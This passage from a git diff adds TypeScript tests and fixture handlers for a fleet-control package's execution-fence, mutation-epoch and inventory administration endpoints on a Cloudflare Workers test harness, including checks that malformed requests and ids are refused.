url = new URL(request.url); + return url.hostname === hostname && url.pathname === '/admin/inventory'; + }).length; + const beforeInventory = inventoryCount(); + const record = await f.native.fleetStore.get( + f.local.prepared.names.roles.a.tenantTag, + f.local.prepared.manifest.environment, + ); + const database = f.native.world.databases.find( + (entry) => entry.databaseId === record?.databaseId, + )?.d1; + if (!database) throw new Error('missing fixture database for role a'); + const resumed = await resume(f); + const result = await runDirectCredentialedScenario(f.input(resumed)); + expect(result.status).toBe('complete'); + const proof = resumed.snapshot().scenario?.proofs.fence; + expect(JSON.stringify(proof?.reopen.a?.before)).toBe( + JSON.stringify(saved.scenario.proofs.fence.reopen.a?.before), + ); + expect(JSON.stringify(proof?.sweeps.a?.second)).toBe( + JSON.stringify(saved.scenario.proofs.fence.sweeps.a?.second), + ); + expect(proof?.sweeps.a?.intervalMs).toBe( + saved.scenario.proofs.fence.sweeps.a?.intervalMs, + ); + expect(bodies).toHaveLength(2); + expect(bodies[1]).toEqual(bodies[0]); + expect(inventoryCount()).toBe(beforeInventory); + expect(proof?.reopen.a?.after).toMatchObject({ + state: 'open', + mutationEpoch: 1, + requireMutationEpoch: true, + }); + const revision = (proof?.reopen.a?.before.transitionRevision ?? -1) + 1; + expect(proof?.reopen.a?.after?.transitionRevision).toBe(revision); + expect( + database.queryDatabase( + `SELECT mutation_epoch, transition_revision FROM ${EXECUTION_FENCE_TABLE} WHERE id = ?`, + [EXECUTION_FENCE_ROW_ID], + ), + ).toEqual([{ mutation_epoch: 1, transition_revision: revision }]); + }); + + it('resumes a split drain without repeating completed role work', async () => { + const f = await fixture(); + const child = await childResume(f, 'fence-drain-role-split'); + expect(child.stdout).toContain('SCENARIO_FAULT fence-drain-role-split'); + expect(child.result).toBeNull(); + const saved = JSON.parse( + await readFile(join(f.local.journal.directory, 'journal.json'), 'utf8'), + ) as { scenario: DirectScenarioState }; + expect(saved.scenario).toMatchObject({ + phase: 'fence-drain', + failure: null, + mutation: { + outcome: 'returned', + action: { kind: 'tenant-fence', operation: 'drain', role: 'a' }, + }, + lastCall: { + outcome: 'returned', + action: { kind: 'tenant-fence', operation: 'read', role: 'b' }, + }, + proofs: { + fence: { + drain: { + a: { after: { state: 'draining', mutationEpoch: 1 } }, + b: { after: null, ordinal: null }, + }, + sweeps: { a: { first: { fence: { state: 'draining' } } } }, + }, + }, + }); + const requests = () => + f.native.projection.requests.filter((request) => { + const url = new URL(request.url); + return ( + url.hostname === f.local.prepared.names.roles.a.routeHostname && + (url.pathname === '/admin/execution-fence' || + url.pathname === '/admin/inventory') + ); + }).length; + const beforeRequests = requests(); + const resumed = await resume(f); + expect(await runDirectCredentialedScenario(f.input(resumed))).toEqual({ + status: 'restart-required', + }); + const drained = resumed.snapshot().scenario?.proofs.fence; + expect(requests()).toBe(beforeRequests); + expect(JSON.stringify(drained?.drain.a)).toBe( + JSON.stringify(saved.scenario.proofs.fence.drain.a), + ); + expect(JSON.stringify(drained?.sweeps.a?.first)).toBe( + JSON.stringify(saved.scenario.proofs.fence.sweeps.a?.first), + ); + expect(JSON.stringify(drained?.drain.b?.before)).toBe( + JSON.stringify(saved.scenario.proofs.fence.drain.b?.before), + ); + expect(drained?.drain.b).toMatchObject({ + after: { state: 'draining', mutationEpoch: 1 }, + ordinal: expect.any(Number), + }); + await resumed.close(); + await f.native.reload(); + const completed = await childResume(f); + expect(completed.result).toMatchObject({ status: 'complete' }); + if (completed.result?.status !== 'complete') + throw new Error('scenario did not complete'); + expect(completed.result.facts.fence.drain.a).toEqual( + saved.scenario.proofs.fence.drain.a, + ); + }); +}); + describe('scenario resume re-entry against a settled journal', () => { const OPERATION_INPUT = '{"records":[]}'; const OPERATION_ID = 'migration-operation'; diff --git a/packages/fleet-control/test/direct-credentialed-tenant.harness.test.ts b/packages/fleet-control/test/direct-credentialed-tenant.harness.test.ts index 2dbff345..8b9874b3 100644 --- a/packages/fleet-control/test/direct-credentialed-tenant.harness.test.ts +++ b/packages/fleet-control/test/direct-credentialed-tenant.harness.test.ts @@ -12,6 +12,8 @@ import type { } from '@cloudflare/workers-types'; import { DEPLOYMENT_IDENTITY_HEADER, + type ExecutionFenceTransition, + type ExecutionFenceVersionedReading, seedDeploymentIdentity, } from '@proofoftech/flowsafe/do-runner'; import { afterAll, beforeAll, describe, expect, it } from 'vitest'; @@ -133,6 +135,23 @@ describe.sequential('direct tenant fixture in workerd', { init?: Parameters[1], ) => worker.fetch(new URL(path, initial.maintenanceBaseUrl), init); + const readFence = async () => { + const response = await appFetch('/admin/execution-fence', { + headers: maintenanceHeaders, + }); + expect(response.status).toBe(200); + return response.json() as Promise; + }; + const transitionFence = async (body: ExecutionFenceTransition) => { + const response = await appFetch('/admin/execution-fence', { + method: 'POST', + headers: maintenanceHeaders, + body: JSON.stringify(body), + }); + expect(response.status).toBe(200); + return response.json() as Promise; + }; + beforeAll(async () => { directory = await mkdtemp(join(tmpdir(), 'fleet-direct-tenant-')); const ingress = plainWorkerIngressModule(initial); @@ -397,6 +416,224 @@ describe.sequential('direct tenant fixture in workerd', { throw new AggregateError(failures, 'native probe or cleanup failed'); }, 60_000); + it('serves fence and inventory administration on public ingress and refuses the control origin', async () => { + expect(await readFence()).toEqual({ + state: 'open', + mutationEpoch: 0, + requireMutationEpoch: false, + transitionRevision: expect.any(Number), + }); + for (const path of ['/admin/execution-fence', '/admin/inventory']) { + const response = await appFetch(path, { headers: maintenanceHeaders }); + expect(response.status).toBe(200); + await response.json(); + expect( + (await controlFetch(path, { headers: maintenanceHeaders })).status, + ).toBe(404); + } + }); + + it('accepts the epoch labels before activation and refuses malformed probe members', async () => { + expect(await readFence()).toMatchObject({ + state: 'open', + mutationEpoch: 0, + requireMutationEpoch: false, + }); + for (const epoch of ['current', 'stale', 'missing', 'future']) { + const response = await appFetch('/__direct/fence-probe', { + method: 'POST', + headers: applicationHeaders, + body: JSON.stringify({ epoch }), + }); + expect(response.status).toBe(200); + expect(await response.json()).toEqual({ + epoch, + classification: 'accepted', + }); + } + for (const body of [undefined, '{}']) { + const response = await appFetch('/__direct/fence-mutate', { + method: 'POST', + headers: applicationHeaders, + ...(body === undefined ? {} : { body }), + }); + expect(response.status).toBe(200); + expect(await response.json()).toEqual({ accepted: true }); + } + const env = await worker.getEnv(); + for (const [path, body] of [ + ['/__direct/fence-mutate', '{"phase":"bogus"}'], + ['/__direct/fence-probe', '{"epoch":"bogus"}'], + ['/__direct/fence-probe', undefined], + ] as const) { + const response = await appFetch(path, { + method: 'POST', + headers: applicationHeaders, + ...(body === undefined ? {} : { body }), + }); + expect(response.status).toBe(400); + expect( + (await env.DB.prepare('SELECT id FROM mastra_schedules').all()).results, + ).toEqual([]); + } + }); + + it('refuses a draining create and admits a draining delete after rejecting malformed ids', async () => { + const created = await appFetch('/__direct/fence-mutate', { + method: 'POST', + headers: applicationHeaders, + body: JSON.stringify({ phase: 'create' }), + }); + expect(created.status).toBe(200); + const creation = (await created.json()) as { + accepted: boolean; + scheduleId: string; + }; + expect(creation).toEqual({ + accepted: true, + scheduleId: expect.any(String), + }); + const { scheduleId } = creation; + const before = await readFence(); + const draining = await transitionFence({ + expected: 'open', + next: 'draining', + expectedMutationEpoch: before.mutationEpoch, + expectedRevision: before.transitionRevision, + }); + expect(draining).toMatchObject({ + state: 'draining', + mutationEpoch: 0, + requireMutationEpoch: false, + }); + const refused = await appFetch('/__direct/fence-mutate', { + method: 'POST', + headers: applicationHeaders, + body: JSON.stringify({ phase: 'create' }), + }); + expect(refused.status).toBe(200); + expect(await refused.json()).toEqual({ + accepted: false, + code: 'EXECUTION_FENCED', + status: 503, + }); + const env = await worker.getEnv(); + for (const malformed of ['..', 'x/y', '%', `${scheduleId}?ignored`]) { + const response = await appFetch('/__direct/fence-mutate', { + method: 'POST', + headers: applicationHeaders, + body: JSON.stringify({ phase: 'delete', scheduleId: malformed }), + }); + expect(response.status).toBe(400); + expect( + (await env.DB.prepare('SELECT id FROM mastra_schedules').all()).results, + ).toEqual([{ id: scheduleId }]); + } + const deleted = await appFetch('/__direct/fence-mutate', { + method: 'POST', + headers: applicationHeaders, + body: JSON.stringify({ phase: 'delete', scheduleId }), + }); + expect(deleted.status).toBe(200); + expect(await deleted.json()).toMatchObject({ accepted: true }); + expect( + await transitionFence({ + expected: 'draining', + next: 'open', + expectedMutationEpoch: draining.mutationEpoch, + expectedRevision: draining.transitionRevision, + }), + ).toMatchObject({ + state: 'open', + mutationEpoch: 0, + requireMutationEpoch: false, + }); + }); + + it('refuses the pre-cutover artifact and admits the next artifact on the same activated fence', async () => { + const before = await readFence(); + const draining = await transitionFence({ + expected: 'open', + next: 'draining', + expectedMutationEpoch: before.mutationEpoch, + expectedRevision: before.transitionRevision, + advanceMutationEpoch: true, + }); + expect(draining).toEqual({ + state: 'draining', + mutationEpoch: 1, + requireMutationEpoch: true, + transitionRevision: before.transitionRevision + 1, + }); + const reopened = await transitionFence({ + expected: 'draining', + next: 'open', + expectedMutationEpoch: draining.mutationEpoch, + expectedRevision: draining.transitionRevision, + }); + expect(reopened).toEqual({ + state: 'open', + mutationEpoch: 1, + requireMutationEpoch: true, + transitionRevision: draining.transitionRevision + 1, + }); + const stale = await appFetch('/__direct/fence-mutate', { + method: 'POST', + headers: applicationHeaders, + body: JSON.stringify({ phase: 'both' }), + }); + expect(stale.status).toBe(200); + const staleOutcome = await stale.json(); + expect(staleOutcome).toEqual({ + accepted: false, + code: 'MUTATION_EPOCH_MISMATCH', + classification: 'stale', + status: 409, + }); + await server.update(options('2')); + worker = server.getWorker(); + expect(await readFence()).toEqual(reopened); + const current = await appFetch('/__direct/fence-mutate', { + method: 'POST', + headers: applicationHeaders, + body: JSON.stringify({ phase: 'both' }), + }); + expect(current.status).toBe(200); + const currentOutcome = await current.json(); + expect(currentOutcome).toEqual({ accepted: true }); + process.stdout.write( + `A1_ARTIFACT_EPOCH ${JSON.stringify({ release1: staleOutcome, release2: currentOutcome })}\n`, + ); + }); + + it('classifies missing, future and stale epochs after reopen and admits the current epoch', async () => { + for (const [epoch, classification] of [ + ['missing', 'missing'], + ['future', 'future'], + ['stale', 'stale'], + ['current', 'accepted'], + ]) { + const response = await appFetch('/__direct/fence-probe', { + method: 'POST', + headers: applicationHeaders, + body: JSON.stringify({ epoch }), + }); + expect(response.status).toBe(200); + expect(await response.json()).toEqual({ epoch, classification }); + } + }); + + it('leaves no schedule or trigger row after the fence probes', async () => { + const env = await worker.getEnv(); + expect( + (await env.DB.prepare('SELECT id FROM mastra_schedules').all()).results, + ).toEqual([]); + expect( + (await env.DB.prepare('SELECT id FROM mastra_schedule_triggers').all()) + .results, + ).toEqual([]); + }); + it('writes fixed R2 bytes and retains them across reload and additive D1 migration', async () => { expect( ( diff --git a/packages/fleet-control/test/direct-reference-contract.test.ts b/packages/fleet-control/test/direct-reference-contract.test.ts index 7c091552..49c2e223 100644 --- a/packages/fleet-control/test/direct-reference-contract.test.ts +++ b/packages/fleet-control/test/direct-reference-contract.test.ts @@ -11,6 +11,26 @@ import { const CONFIG = 'a'.repeat(64); const actions: readonly DirectReferenceAction[] = [ + { kind: 'tenant-fence', role: 'a', operation: 'read' }, + { kind: 'tenant-fence', role: 'b', operation: 'inventory' }, + { kind: 'tenant-fence', role: 'a', operation: 'mutate-current' }, + { kind: 'tenant-fence', role: 'a', operation: 'probe-missing' }, + { kind: 'tenant-fence', role: 'b', operation: 'probe-stale' }, + { kind: 'tenant-fence', role: 'b', operation: 'probe-future' }, + { + kind: 'tenant-fence', + role: 'a', + operation: 'drain', + expectedMutationEpoch: 0, + expectedRevision: 0, + }, + { + kind: 'tenant-fence', + role: 'b', + operation: 'reopen', + expectedMutationEpoch: Number.MAX_SAFE_INTEGER - 1, + expectedRevision: Number.MAX_SAFE_INTEGER - 1, + }, { kind: 'control-read' }, { kind: 'provision', role: 'a', release: 'initial' }, { kind: 'provision', role: 'b', release: 'initial' }, @@ -125,6 +145,28 @@ describe('direct reference request contract', () => { { kind: 'decommission-export', role: 'other' }, { kind: 'decommission-export', role: 'a', view: 'bytes' }, { kind: 'force-recovery', role: 'a' }, + { kind: 'tenant-fence', role: 'a', operation: 'drain' }, + { + kind: 'tenant-fence', + role: 'a', + operation: 'drain', + expectedRevision: 0, + }, + { + kind: 'tenant-fence', + role: 'a', + operation: 'drain', + expectedMutationEpoch: 0, + }, + { + kind: 'tenant-fence', + role: 'a', + operation: 'read', + expectedMutationEpoch: 0, + expectedRevision: 0, + }, + { kind: 'tenant-fence', role: 'recovery', operation: 'read' }, + { kind: 'tenant-fence', role: 'a', operation: 'other' }, { kind: 'tenant-probe', role: 'a' }, { kind: 'tenant-probe', role: 'other', operation: 'health' }, { kind: 'tenant-probe', role: 'a', operation: 'other' }, @@ -163,6 +205,26 @@ describe('direct reference request contract', () => { ).rejects.toMatchObject({ code: 'invalid-request' }); }); + it.each([ + -1, + 1.5, + null, + '0', + Number.MAX_SAFE_INTEGER, + ])('refuses invalid fence counter %j', async (value) => { + for (const key of ['expectedMutationEpoch', 'expectedRevision']) + await expect( + read({ + kind: 'tenant-fence', + role: 'a', + operation: 'drain', + expectedMutationEpoch: 0, + expectedRevision: 0, + [key]: value, + }), + ).rejects.toMatchObject({ code: 'invalid-request' }); + }); + it('refuses wrong root keys, version and run binding', async () => { const valid = envelope({ kind: 'control-read' }); for (const body of [ diff --git a/packages/fleet-control/test/direct-reference-fence.harness.test.ts b/packages/fleet-control/test/direct-reference-fence.harness.test.ts new file mode 100644 index 00000000..e76d635c --- /dev/null +++ b/packages/fleet-control/test/direct-reference-fence.harness.test.ts @@ -0,0 +1,388 @@ +// SPDX-License-Identifier: Apache-2.0 + +import { + EXECUTION_FENCE_ROW_ID, + EXECUTION_FENCE_TABLE, +} from '@proofoftech/flowsafe/deployment-identity-protocol'; +import { INVENTORY_CATEGORIES } from '@proofoftech/flowsafe/do-runner'; +import { afterAll, beforeAll, describe, expect, it } from 'vitest'; +import { + createDirectReferenceHarness, + type DirectReferenceHarness, +} from './fixtures/direct-reference-harness.js'; +import type { D1State } from './fixtures/provider-world.js'; + +type Reading = { + state: string; + mutationEpoch: number; + requireMutationEpoch: boolean; + transitionRevision: number; +}; +type Sweep = { + fence: Reading; + categories: { category: string; class: string; empty: boolean }[]; + observedAt: number; +}; + +describe.sequential('reference fence composition at release 1', { + timeout: 180_000, +}, () => { + let fixture: DirectReferenceHarness; + let initial: Reading; + let drained: Reading; + let first: Sweep; + beforeAll(async () => { + fixture = await createDirectReferenceHarness({ + applicationProbes: true, + maintenanceNow: Date.now, + }); + }, 60_000); + afterAll(async () => { + await fixture?.close(); + }, 30_000); + + const read = (role: 'a' | 'b' = 'a') => + fixture.success({ kind: 'tenant-fence', role, operation: 'read' }); + const inventory = () => + fixture.success({ + kind: 'tenant-fence', + role: 'a', + operation: 'inventory', + }); + const probe = (operation: 'probe-missing' | 'probe-stale' | 'probe-future') => + fixture.success<{ epoch: string; classification: string }>({ + kind: 'tenant-fence', + role: 'a', + operation, + }); + + it('provisions both roles and reads open epoch-zero fences at release 1', async () => { + for (const role of ['a', 'b'] as const) { + expect( + await fixture.success({ kind: 'provision', role, release: 'initial' }), + ).toMatchObject({ status: 'ready' }); + const value = await read(role); + expect(value).toMatchObject({ + state: 'open', + mutationEpoch: 0, + requireMutationEpoch: false, + }); + expect(Number.isSafeInteger(value.transitionRevision)).toBe(true); + expect(value.transitionRevision).toBeGreaterThanOrEqual(0); + if (role === 'a') initial = value; + } + }); + + it('accepts current, stale, missing and future before epoch activation', async () => { + expect(await read('b')).toMatchObject({ + state: 'open', + mutationEpoch: 0, + requireMutationEpoch: false, + }); + // assertMutationEpoch returns before comparison while the requirement is false. + expect( + await fixture.success({ + kind: 'tenant-fence', + role: 'a', + operation: 'mutate-current', + }), + ).toEqual({ accepted: true }); + for (const operation of [ + 'probe-stale', + 'probe-missing', + 'probe-future', + ] as const) + expect(await probe(operation)).toEqual({ + epoch: operation.slice('probe-'.length), + classification: 'accepted', + }); + }); + + it('sweeps open role a with empty work categories', async () => { + const { response, value } = await fixture.call({ + kind: 'tenant-fence', + role: 'a', + operation: 'inventory', + }); + expect(value.ok).toBe(true); + expect(response.headers.get('X-Direct-Maintenance-Attempts')).toBe('11'); + first = value.result as Sweep; + expect(first.fence.state).toBe('open'); + expect( + first.categories.every( + (entry) => entry.class === 'standing' || entry.empty, + ), + ).toBe(true); + }); + + it('drains role a once and classifies release-1 epochs against the activated fence', async () => { + const result = await fixture.success<{ ok: boolean; after: Reading }>({ + kind: 'tenant-fence', + role: 'a', + operation: 'drain', + expectedMutationEpoch: initial.mutationEpoch, + expectedRevision: initial.transitionRevision, + }); + expect(result).toEqual({ + ok: true, + after: { + state: 'draining', + mutationEpoch: 1, + requireMutationEpoch: true, + transitionRevision: initial.transitionRevision + 1, + }, + }); + drained = result.after; + const current = await fixture.success<{ + accepted: boolean; + classification: string; + }>({ + kind: 'tenant-fence', + role: 'a', + operation: 'mutate-current', + }); + expect(current).toEqual({ + accepted: false, + code: 'MUTATION_EPOCH_MISMATCH', + classification: 'stale', + status: 409, + }); + const stale = await probe('probe-stale'); + const future = await probe('probe-future'); + const missing = await probe('probe-missing'); + expect(stale).toEqual({ epoch: 'stale', classification: 'stale' }); + expect(future).toEqual({ epoch: 'future', classification: 'accepted' }); + expect(missing).toEqual({ epoch: 'missing', classification: 'missing' }); + // This fixture checks epochs without a router or schedule mutation. The + // scenario's post-migration probes use the active release's advanced epoch. + process.stdout.write( + `A1_POST_DRAIN_CLASSIFICATIONS ${JSON.stringify({ + current: current.classification, + stale: stale.classification, + future: future.classification, + missing: missing.classification, + })}\n`, + ); + }); + + it('sweeps draining role a and reopens with the epoch requirement preserved', async () => { + const second = await inventory(); + expect(second.fence.state).toBe('draining'); + expect( + second.categories.every( + (entry) => entry.class === 'standing' || entry.empty, + ), + ).toBe(true); + for (const observedAt of [first.observedAt, second.observedAt]) { + expect(Number.isFinite(observedAt)).toBe(true); + expect(Number.isSafeInteger(observedAt)).toBe(true); + } + expect(second.observedAt).toBeGreaterThanOrEqual(first.observedAt); + expect( + await fixture.success({ + kind: 'tenant-fence', + role: 'a', + operation: 'reopen', + expectedMutationEpoch: drained.mutationEpoch, + expectedRevision: drained.transitionRevision, + }), + ).toEqual({ + ok: true, + after: { + state: 'open', + mutationEpoch: 1, + requireMutationEpoch: true, + transitionRevision: drained.transitionRevision + 1, + }, + }); + }); + + it('separates application and maintenance credentials on role a ingress', async () => { + for (const [path, token, status] of [ + ['/admin/execution-fence', fixture.secrets.a.maintenanceAdmin, 200], + [ + '/admin/execution-fence', + fixture.secrets.a.application?.APP_PROBE_TOKEN, + 401, + ], + ['/admin/inventory', fixture.secrets.a.maintenanceAdmin, 200], + ['/__direct/health', fixture.secrets.a.maintenanceAdmin, 401], + ] as const) { + const response = await fixture.projection.fetch( + `https://${fixture.manifest.names.roles.a.routeHostname}${path}`, + { headers: { authorization: `Bearer ${token}` } }, + ); + expect(response.status).toBe(status); + if (status === 200 && path === '/admin/execution-fence') + expect(await response.json()).toMatchObject(await read()); + else await response.body?.cancel(); + } + }); + + it('returns a flattened CAS conflict without retrying the drain', async () => { + const current = await read(); + const posts = () => + fixture.projection.requests.filter( + (request) => + request.method === 'POST' && + request.url === + `https://${fixture.manifest.names.roles.a.routeHostname}/admin/execution-fence`, + ).length; + const before = posts(); + const { response, value } = await fixture.call({ + kind: 'tenant-fence', + role: 'a', + operation: 'drain', + expectedMutationEpoch: initial.mutationEpoch, + expectedRevision: initial.transitionRevision, + }); + expect(response.status).toBe(200); + expect(value).toMatchObject({ + ok: true, + result: { + ok: false, + reason: { + code: 'FENCE_CAS_CONFLICT', + ...current, + conflict: 'expectation-mismatch', + }, + }, + }); + expect(posts()).toBe(before + 1); + expect(await read()).toEqual(current); + }); + + it('projects reading fields while the proof-only store also carries a proof key', async () => { + const current = await read(); + const response = await fixture.projection.fetch( + `https://${fixture.manifest.names.roles.a.routeHostname}/admin/execution-fence`, + { + method: 'POST', + headers: { + authorization: `Bearer ${fixture.secrets.a.maintenanceAdmin}`, + }, + body: JSON.stringify({ + expected: 'open', + next: 'proof-only', + proofKey: 'a1-fence-proof', + expectedMutationEpoch: current.mutationEpoch, + expectedRevision: current.transitionRevision, + }), + }, + ); + expect(response.status).toBe(200); + expect(await response.json()).toMatchObject({ proofKey: 'a1-fence-proof' }); + expect(await read()).toEqual({ + state: 'proof-only', + mutationEpoch: current.mutationEpoch, + requireMutationEpoch: true, + transitionRevision: current.transitionRevision + 1, + }); + }); + + it('counts the fence, index and category reads as eleven maintenance subrequests', async () => { + const { response, value } = await fixture.call({ + kind: 'tenant-fence', + role: 'a', + operation: 'inventory', + }); + expect(value.ok).toBe(true); + expect(2 + INVENTORY_CATEGORIES.length).toBe(11); + expect(response.headers.get('X-Direct-Maintenance-Attempts')).toBe('11'); + }); + + it('replays numeric and null fence bindings through the database clone', async () => { + const record = await fixture.fleetStore.get( + fixture.manifest.names.roles.a.tenantTag, + fixture.manifest.environment, + ); + const original = fixture.world.databases.find( + ({ databaseId }) => databaseId === record?.databaseId, + )?.d1; + if (!original) throw new Error('missing fixture database for role a'); + const fenceRow = (state: D1State) => + state.queryDatabase( + `SELECT state, mutation_epoch, require_mutation_epoch, transition_revision + FROM ${EXECUTION_FENCE_TABLE} WHERE id = ?`, + [EXECUTION_FENCE_ROW_ID], + ); + expect(fenceRow(original.clone())).toEqual(fenceRow(original)); + }); + + it('refuses malformed tenant responses and accepts extra reading fields', async () => { + const valid = { + state: 'open', + mutationEpoch: 0, + requireMutationEpoch: false, + transitionRevision: 7, + }; + let answer = () => Response.json(valid); + const isolated = await createDirectReferenceHarness({ + applicationProbes: false, + maintenanceNow: Date.now, + applicationFetch: async () => answer(), + }); + try { + expect( + await isolated.success({ + kind: 'provision', + role: 'a', + release: 'initial', + }), + ).toMatchObject({ status: 'ready' }); + const cases = [ + [ + 'media', + () => + new Response(JSON.stringify(valid), { + headers: { 'content-type': 'text/plain' }, + }), + ], + [ + 'body-limit', + () => Response.json({ ...valid, extra: 'x'.repeat(4096) }), + ], + [ + 'parse', + () => + new Response('{', { + headers: { 'content-type': 'application/json' }, + }), + ], + ['state', () => Response.json({ ...valid, state: 'sealed' })], + ['counter', () => Response.json({ ...valid, transitionRevision: '7' })], + ] as const; + for (const [name, response] of cases) { + answer = response; + const { response: failed, value } = await isolated.call({ + kind: 'tenant-fence', + role: 'a', + operation: 'read', + }); + expect(failed.status).toBe(409); + expect(value).toEqual({ + contractVersion: 1, + ok: false, + error: { code: 'operation-refused' }, + }); + process.stdout.write( + `A1_MALFORMED_RESPONSE ${name} ${JSON.stringify(value)}\n`, + ); + } + answer = () => + Response.json({ ...valid, proofKey: 'extra', proofRunId: 'extra-run' }); + expect( + await isolated.success({ + kind: 'tenant-fence', + role: 'a', + operation: 'read', + }), + ).toEqual(valid); + process.stdout.write( + `A1_EXTRA_FIELDS_ACCEPTED ${JSON.stringify(valid)}\n`, + ); + } finally { + await isolated.close(); + } + }); +}); diff --git a/packages/fleet-control/test/fixtures/direct-reference-harness.ts b/packages/fleet-control/test/fixtures/direct-reference-harness.ts index 54d26954..06bfa417 100644 --- a/packages/fleet-control/test/fixtures/direct-reference-harness.ts +++ b/packages/fleet-control/test/fixtures/direct-reference-harness.ts @@ -8,6 +8,21 @@ import { join } from 'node:path'; import { Readable } from 'node:stream'; import { fileURLToPath } from 'node:url'; import type { D1Database, R2Bucket } from '@cloudflare/workers-types'; +import { + assertExecutionFenceState, + assertMutationEpoch, + DeploymentInventory, + DoStatusError, + type ExecutionFenceDatabase, + type ExecutionFenceStatement, + ExecutionFenceStore, + executionFenceReadingPayload, + InvalidInventoryRequestError, + type InventoryDatabase, + type InventoryStatement, + isInventoryCategory, + MutationEpochMismatchError, +} from '@proofoftech/flowsafe/do-runner'; import { expect } from 'vitest'; import { createTestHarness, type TestHarness } from 'wrangler'; import type { DirectRunManifest } from '../../scripts/direct-credentialed-conformance-preflight.mjs'; @@ -15,6 +30,7 @@ import { directDeploymentSpec } from '../../scripts/direct-credentialed-spec.js' import { DIRECT_TENANT_OBJECT_BODY, DIRECT_TENANT_OBJECT_KEY, + directTenantMutationEpoch, } from '../../scripts/direct-credentialed-tenant-object.mjs'; import type { DirectRunBinding } from '../../scripts/direct-reference-context.js'; import { @@ -32,7 +48,175 @@ import { single, } from './cloudflare-fetch-fixture.js'; import { directFixtureManifest } from './direct-credentialed-config.js'; -import { maintenanceResponder, providerWorld } from './provider-world.js'; +import { + type D1State, + maintenanceResponder, + providerWorld, + type SqliteBinding, +} from './provider-world.js'; + +function fixtureFenceDatabase( + state: D1State, +): ExecutionFenceDatabase & InventoryDatabase { + return { + prepare(query: string) { + let bindings: readonly SqliteBinding[] = []; + const statement: ExecutionFenceStatement & InventoryStatement = { + bind(...values: unknown[]) { + bindings = values as SqliteBinding[]; + return statement; + }, + async all(): Promise<{ results: T[] }> { + const rows: readonly unknown[] = state.queryDatabase(query, bindings); + return { results: [...rows] as T[] }; + }, + async run(): Promise { + return state.queryDatabase(query, bindings); + }, + }; + return statement; + }, + }; +} + +async function fixtureExecutionFence( + request: CloudflareFixtureRequest, + state: D1State, +): Promise { + if (request.method !== 'GET' && request.method !== 'POST') + return Response.json({ error: 'method not allowed' }, { status: 405 }); + const fence = new ExecutionFenceStore(fixtureFenceDatabase(state)); + try { + if (request.method === 'GET') + return Response.json(executionFenceReadingPayload(await fence.read())); + const parsed = request.body; + if (!parsed || typeof parsed !== 'object' || Array.isArray(parsed)) + return Response.json( + { error: 'a JSON object body is required' }, + { status: 400 }, + ); + const body = parsed as Record; + const reading = await fence.transition({ + expected: assertExecutionFenceState(body.expected, 'expected'), + next: assertExecutionFenceState(body.next, 'next'), + ...(body.proofKey === undefined ? {} : { proofKey: body.proofKey }), + expectedMutationEpoch: body.expectedMutationEpoch, + expectedRevision: body.expectedRevision, + advanceMutationEpoch: body.advanceMutationEpoch, + }); + return Response.json(executionFenceReadingPayload(reading)); + } catch (error) { + if (error instanceof DoStatusError) + return Response.json( + { + error: error.message, + ...(error.reason === undefined ? {} : { reason: error.reason }), + }, + { status: error.status }, + ); + throw error; + } +} + +async function fixtureInventory( + request: CloudflareFixtureRequest, + url: URL, + state: D1State, +): Promise { + if (request.method !== 'GET') + return Response.json({ error: 'method not allowed' }, { status: 405 }); + try { + const inventory = new DeploymentInventory(fixtureFenceDatabase(state)); + const category = url.searchParams.get('category'); + if (category === null || category === '') + return Response.json(inventory.index()); + if (!isInventoryCategory(category)) + throw new InvalidInventoryRequestError( + `unknown inventory category '${category}'`, + ); + const rawLimit = url.searchParams.get('limit'); + if (rawLimit !== null && !/^[0-9]{1,4}$/.test(rawLimit)) + throw new InvalidInventoryRequestError( + 'inventory limit must be a positive integer', + ); + const cursor = url.searchParams.get('cursor'); + return Response.json( + await inventory.read(category, { + ...(cursor === null ? {} : { cursor }), + ...(rawLimit === null ? {} : { limit: Number(rawLimit) }), + }), + ); + } catch (error) { + if (error instanceof DoStatusError) + return Response.json( + { + error: error.message, + ...(error.reason === undefined ? {} : { reason: error.reason }), + }, + { status: error.status }, + ); + throw error; + } +} + +async function fixtureFenceOutcome( + state: D1State, + epoch: number, +): Promise { + const reading = await new ExecutionFenceStore( + fixtureFenceDatabase(state), + ).read(); + try { + assertMutationEpoch(reading, epoch); + return Response.json({ accepted: true }); + } catch (error) { + if (error instanceof MutationEpochMismatchError) + return Response.json({ + accepted: false, + code: error.reason.code, + classification: error.reason.classification, + status: error.status, + }); + throw error; + } +} + +async function fixtureFenceProbe( + request: CloudflareFixtureRequest, + state: D1State, + release: string | undefined, +): Promise { + const body = request.body; + const epoch = + body && typeof body === 'object' && !Array.isArray(body) + ? Reflect.get(body, 'epoch') + : undefined; + if (!['current', 'missing', 'stale', 'future'].includes(epoch)) + return Response.json({ error: 'invalid epoch label' }, { status: 400 }); + const host = directTenantMutationEpoch(release); + const supplied = + epoch === 'missing' + ? undefined + : epoch === 'stale' + ? Math.max(0, host - 1) + : epoch === 'future' + ? host + 1 + : host; + const reading = await new ExecutionFenceStore( + fixtureFenceDatabase(state), + ).read(); + try { + assertMutationEpoch(reading, supplied); + return Response.json({ epoch, classification: 'accepted' }); + } catch (error) { + if (error instanceof MutationEpochMismatchError) + return Response.json({ + epoch, + classification: error.reason.classification, + }); + throw error; + } +} export async function createDirectReferenceHarness( policy: Readonly<{ @@ -241,7 +425,16 @@ export async function createDirectReferenceHarness( (role) => url.hostname === manifest.names.roles[role].routeHostname, ); if (!role) throw new Error('unknown fixture application role'); - if ( + const adminRoute = + url.pathname === '/admin/execution-fence' || + url.pathname === '/admin/inventory'; + if (adminRoute) { + if ( + request.headers.get('authorization') !== + `Bearer ${secrets[role].maintenanceAdmin}` + ) + return new Response(null, { status: 401 }); + } else if ( request.headers.get('authorization') !== `Bearer ${secrets[role].application?.APP_PROBE_TOKEN}` ) @@ -273,6 +466,17 @@ export async function createDirectReferenceHarness( ); return Response.json({ release, marker: rows[0]?.marker }); } + if (url.pathname === '/admin/execution-fence') + return fixtureExecutionFence(request, database.d1); + if (url.pathname === '/admin/inventory') + return fixtureInventory(request, url, database.d1); + if (url.pathname === '/__direct/fence-mutate' && request.method === 'POST') + return fixtureFenceOutcome( + database.d1, + directTenantMutationEpoch(release), + ); + if (url.pathname === '/__direct/fence-probe' && request.method === 'POST') + return fixtureFenceProbe(request, database.d1, release); const bucket = record.applicationResources?.find( (resource) => resource.name === 'PROBE_BUCKET', ); @@ -311,7 +515,11 @@ export async function createDirectReferenceHarness( application && policy.applicationFetch && (url.pathname === '/__direct/health' || - url.pathname === '/__direct/object') + url.pathname === '/__direct/object' || + url.pathname === '/__direct/fence-mutate' || + 